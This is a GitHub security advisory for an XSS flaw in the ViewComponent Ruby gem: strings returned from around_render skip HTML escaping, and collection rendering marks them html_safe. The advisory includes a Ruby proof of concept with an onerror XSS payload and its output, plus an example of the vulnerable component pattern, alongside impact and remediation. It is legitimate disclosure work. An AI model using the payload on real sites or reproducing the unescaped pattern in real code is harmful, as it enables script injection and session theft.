GHSA-97JW-64CJ-JC58

Vulnerability from github – Published: 2026-07-15 22:51 – Updated: 2026-07-15 22:51
VLAI
Summary
ViewComponent: around_render HTML-Safety Bypass
Details

Summary

ViewComponent::Base#around_render can return HTML-unsafe strings that bypass the escaping behavior applied to normal #call return values. This creates an XSS risk when downstream applications use around_render to wrap, replace, instrument, or conditionally return content that includes user-controlled data.

The issue is especially dangerous in collection rendering because ViewComponent::Collection#render_in joins the per-item results and marks the entire output as html_safe, converting raw unsafe output into a trusted ActiveSupport::SafeBuffer.

Affected Code

Validated against:

  • Repository commit: eea79445
  • Ruby: 3.4.9

Relevant locations:

  • lib/view_component/base.rb
  • render_in
  • around_render
  • __vc_maybe_escape_html
  • lib/view_component/template.rb
  • InlineCall#safe_method_name_call
  • lib/view_component/collection.rb
  • Collection#render_in

Key code paths:

# lib/view_component/base.rb
around_render do
  render_template_for(@__vc_requested_details).to_s
end
# lib/view_component/template.rb
proc do
  __vc_maybe_escape_html(send(m)) do
    Kernel.warn(...)
  end
end
# lib/view_component/collection.rb
components.map do |component|
  component.render_in(view_context, &block)
end.join(rendered_spacer(view_context)).html_safe

Root Cause

Normal inline #call output is passed through __vc_maybe_escape_html, which escapes HTML-unsafe strings. However, when around_render itself returns a string, the returned value becomes the component render result without being passed through the same HTML-safety boundary.

This creates two different output-safety behaviors:

  • #call returning unsafe string: escaped
  • #around_render returning unsafe string: raw

Collection rendering then amplifies the issue by calling .html_safe on the joined result.

Proof of Concept

Run from the repository root:

$LOAD_PATH.unshift File.expand_path("lib", Dir.pwd)
require "action_controller/railtie"
require "rack/mock"
require "view_component/base"

class PocController < ActionController::Base; end

def vc
  c = PocController.new
  c.set_request!(ActionDispatch::Request.new(Rack::MockRequest.env_for("/poc")))
  c.set_response!(ActionDispatch::Response.new)
  c.view_context
end

PAYLOAD = "<img src=x onerror=alert(1)>"

class UnsafeCallComponent < ViewComponent::Base
  def initialize(payload:) = @payload = payload
  def call = @payload
end

class UnsafeAroundComponent < ViewComponent::Base
  def initialize(payload:) = @payload = payload
  def call = "SAFE"
  def around_render = @payload
end

class UnsafeAroundCollectionComponent < ViewComponent::Base
  with_collection_parameter :payload
  def initialize(payload:) = @payload = payload
  def call = "SAFE"
  def around_render = @payload
end

view_context = vc

normal = UnsafeCallComponent.new(payload: PAYLOAD).render_in(view_context)
around = UnsafeAroundComponent.new(payload: PAYLOAD).render_in(view_context)
collection = UnsafeAroundCollectionComponent.with_collection([PAYLOAD]).render_in(view_context)

puts "normal_call=#{normal}"
puts "normal_call_raw=#{normal.include?(PAYLOAD)} html_safe=#{normal.html_safe?}"
puts "around_render=#{around}"
puts "around_render_raw=#{around.include?(PAYLOAD)} html_safe=#{around.html_safe?}"
puts "collection=#{collection}"
puts "collection_raw=#{collection.include?(PAYLOAD)} html_safe=#{collection.html_safe?}"

c = PocController.new
c.set_request!(ActionDispatch::Request.new(Rack::MockRequest.env_for("/poc")))
c.set_response!(ActionDispatch::Response.new)
out = c.render_to_string(UnsafeAroundComponent.new(payload: PAYLOAD))
puts "controller_render_to_string=#{out}"
puts "controller_raw=#{out.include?(PAYLOAD)} html_safe=#{out.html_safe?}"

Observed output:

normal_call=&lt;img src=x onerror=alert(1)&gt;
normal_call_raw=false html_safe=true
around_render=<img src=x onerror=alert(1)>
around_render_raw=true html_safe=false
collection=<img src=x onerror=alert(1)>
collection_raw=true html_safe=true
controller_render_to_string=<img src=x onerror=alert(1)>
controller_raw=true html_safe=false

The control case confirms that normal #call output is escaped. The around_render cases confirm that the same payload is emitted raw.

Exploit Scenario

A downstream application defines a component that uses around_render for tracing, layout wrapping, feature-flag fallback, error fallback, or instrumentation. If the hook returns a string containing request data, model attributes, CMS content, markdown output, or other attacker-controlled values, the value can be rendered as raw HTML.

Example vulnerable pattern:

class BannerComponent < ViewComponent::Base
  def initialize(message:)
    @message = message
  end

  def call
    "fallback"
  end

  def around_render
    "<div class=\"banner\">#{@message}</div>"
  end
end

If message is user-controlled, scriptable HTML reaches the browser.

Impact

Successful exploitation allows XSS in applications using affected components. Depending on application context, impact can include:

  • session or token theft where cookies/tokens are accessible
  • authenticated actions as the victim
  • CSRF bypass through same-origin script execution
  • exfiltration of page data
  • credential phishing or UI redress inside trusted application origin

The collection path is particularly risky because it converts the joined raw output to html_safe, which can suppress later escaping.

Preconditions

  • The application defines or uses a component overriding around_render.
  • around_render returns or wraps attacker-influenced HTML-unsafe content.
  • The component is rendered in a browser-visible response.
  • Higher impact when rendered through ViewComponent::Collection or controller/direct rendering.

Chaining Potential

This finding can chain with:

  • preview routes or examples that accept URL parameters and render components
  • unsafe markdown or CMS content rendered inside around_render
  • CSP-disabled preview routes
  • applications that expose admin-only pages containing affected components

Remediation

Apply the same HTML-safety enforcement to around_render return values that is applied to normal inline #call output.

Possible approaches:

  1. Wrap the result of around_render with __vc_maybe_escape_html when the current template is HTML.
  2. Require around_render to return an ActiveSupport::SafeBuffer to opt into raw HTML.
  3. In collection rendering, avoid blindly calling .html_safe on joined component outputs unless each item has been normalized through the same safety boundary.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "view_component"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.12.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54498"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-15T22:51:04Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`ViewComponent::Base#around_render` can return HTML-unsafe strings that bypass the escaping behavior applied to normal `#call` return values. This creates an XSS risk when downstream applications use `around_render` to wrap, replace, instrument, or conditionally return content that includes user-controlled data.\n\nThe issue is especially dangerous in collection rendering because `ViewComponent::Collection#render_in` joins the per-item results and marks the entire output as `html_safe`, converting raw unsafe output into a trusted `ActiveSupport::SafeBuffer`.\n\n\n## Affected Code\n\nValidated against:\n\n- Repository commit: `eea79445`\n- Ruby: `3.4.9`\n\nRelevant locations:\n\n- `lib/view_component/base.rb`\n  - `render_in`\n  - `around_render`\n  - `__vc_maybe_escape_html`\n- `lib/view_component/template.rb`\n  - `InlineCall#safe_method_name_call`\n- `lib/view_component/collection.rb`\n  - `Collection#render_in`\n\nKey code paths:\n\n```ruby\n# lib/view_component/base.rb\naround_render do\n  render_template_for(@__vc_requested_details).to_s\nend\n```\n\n```ruby\n# lib/view_component/template.rb\nproc do\n  __vc_maybe_escape_html(send(m)) do\n    Kernel.warn(...)\n  end\nend\n```\n\n```ruby\n# lib/view_component/collection.rb\ncomponents.map do |component|\n  component.render_in(view_context, \u0026block)\nend.join(rendered_spacer(view_context)).html_safe\n```\n\n## Root Cause\n\nNormal inline `#call` output is passed through `__vc_maybe_escape_html`, which escapes HTML-unsafe strings. However, when `around_render` itself returns a string, the returned value becomes the component render result without being passed through the same HTML-safety boundary.\n\nThis creates two different output-safety behaviors:\n\n- `#call` returning unsafe string: escaped\n- `#around_render` returning unsafe string: raw\n\nCollection rendering then amplifies the issue by calling `.html_safe` on the joined result.\n\n## Proof of Concept\n\nRun from the repository root:\n\n```ruby\n$LOAD_PATH.unshift File.expand_path(\"lib\", Dir.pwd)\nrequire \"action_controller/railtie\"\nrequire \"rack/mock\"\nrequire \"view_component/base\"\n\nclass PocController \u003c ActionController::Base; end\n\ndef vc\n  c = PocController.new\n  c.set_request!(ActionDispatch::Request.new(Rack::MockRequest.env_for(\"/poc\")))\n  c.set_response!(ActionDispatch::Response.new)\n  c.view_context\nend\n\nPAYLOAD = \"\u003cimg src=x onerror=alert(1)\u003e\"\n\nclass UnsafeCallComponent \u003c ViewComponent::Base\n  def initialize(payload:) = @payload = payload\n  def call = @payload\nend\n\nclass UnsafeAroundComponent \u003c ViewComponent::Base\n  def initialize(payload:) = @payload = payload\n  def call = \"SAFE\"\n  def around_render = @payload\nend\n\nclass UnsafeAroundCollectionComponent \u003c ViewComponent::Base\n  with_collection_parameter :payload\n  def initialize(payload:) = @payload = payload\n  def call = \"SAFE\"\n  def around_render = @payload\nend\n\nview_context = vc\n\nnormal = UnsafeCallComponent.new(payload: PAYLOAD).render_in(view_context)\naround = UnsafeAroundComponent.new(payload: PAYLOAD).render_in(view_context)\ncollection = UnsafeAroundCollectionComponent.with_collection([PAYLOAD]).render_in(view_context)\n\nputs \"normal_call=#{normal}\"\nputs \"normal_call_raw=#{normal.include?(PAYLOAD)} html_safe=#{normal.html_safe?}\"\nputs \"around_render=#{around}\"\nputs \"around_render_raw=#{around.include?(PAYLOAD)} html_safe=#{around.html_safe?}\"\nputs \"collection=#{collection}\"\nputs \"collection_raw=#{collection.include?(PAYLOAD)} html_safe=#{collection.html_safe?}\"\n\nc = PocController.new\nc.set_request!(ActionDispatch::Request.new(Rack::MockRequest.env_for(\"/poc\")))\nc.set_response!(ActionDispatch::Response.new)\nout = c.render_to_string(UnsafeAroundComponent.new(payload: PAYLOAD))\nputs \"controller_render_to_string=#{out}\"\nputs \"controller_raw=#{out.include?(PAYLOAD)} html_safe=#{out.html_safe?}\"\n```\n\nObserved output:\n\n```text\nnormal_call=\u0026lt;img src=x onerror=alert(1)\u0026gt;\nnormal_call_raw=false html_safe=true\naround_render=\u003cimg src=x onerror=alert(1)\u003e\naround_render_raw=true html_safe=false\ncollection=\u003cimg src=x onerror=alert(1)\u003e\ncollection_raw=true html_safe=true\ncontroller_render_to_string=\u003cimg src=x onerror=alert(1)\u003e\ncontroller_raw=true html_safe=false\n```\n\nThe control case confirms that normal `#call` output is escaped. The `around_render` cases confirm that the same payload is emitted raw.\n\n## Exploit Scenario\n\nA downstream application defines a component that uses `around_render` for tracing, layout wrapping, feature-flag fallback, error fallback, or instrumentation. If the hook returns a string containing request data, model attributes, CMS content, markdown output, or other attacker-controlled values, the value can be rendered as raw HTML.\n\nExample vulnerable pattern:\n\n```ruby\nclass BannerComponent \u003c ViewComponent::Base\n  def initialize(message:)\n    @message = message\n  end\n\n  def call\n    \"fallback\"\n  end\n\n  def around_render\n    \"\u003cdiv class=\\\"banner\\\"\u003e#{@message}\u003c/div\u003e\"\n  end\nend\n```\n\nIf `message` is user-controlled, scriptable HTML reaches the browser.\n\n## Impact\n\nSuccessful exploitation allows XSS in applications using affected components. Depending on application context, impact can include:\n\n- session or token theft where cookies/tokens are accessible\n- authenticated actions as the victim\n- CSRF bypass through same-origin script execution\n- exfiltration of page data\n- credential phishing or UI redress inside trusted application origin\n\nThe collection path is particularly risky because it converts the joined raw output to `html_safe`, which can suppress later escaping.\n\n## Preconditions\n\n- The application defines or uses a component overriding `around_render`.\n- `around_render` returns or wraps attacker-influenced HTML-unsafe content.\n- The component is rendered in a browser-visible response.\n- Higher impact when rendered through `ViewComponent::Collection` or controller/direct rendering.\n\n## Chaining Potential\n\nThis finding can chain with:\n\n- preview routes or examples that accept URL parameters and render components\n- unsafe markdown or CMS content rendered inside `around_render`\n- CSP-disabled preview routes\n- applications that expose admin-only pages containing affected components\n\n## Remediation\n\nApply the same HTML-safety enforcement to `around_render` return values that is applied to normal inline `#call` output.\n\nPossible approaches:\n\n1. Wrap the result of `around_render` with `__vc_maybe_escape_html` when the current template is HTML.\n2. Require `around_render` to return an `ActiveSupport::SafeBuffer` to opt into raw HTML.\n3. In collection rendering, avoid blindly calling `.html_safe` on joined component outputs unless each item has been normalized through the same safety boundary.",
  "id": "GHSA-97jw-64cj-jc58",
  "modified": "2026-07-15T22:51:04Z",
  "published": "2026-07-15T22:51:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ViewComponent/view_component/security/advisories/GHSA-97jw-64cj-jc58"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ViewComponent/view_component/commit/48e5fd2d602344c7d33019fbc5c8b087e315bb78"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ViewComponent/view_component"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ViewComponent/view_component/releases/tag/v4.12.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/view_component/CVE-2026-54498.yml"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord/SearchResults?query=CVE-2026-54498"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ViewComponent: around_render HTML-Safety Bypass"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…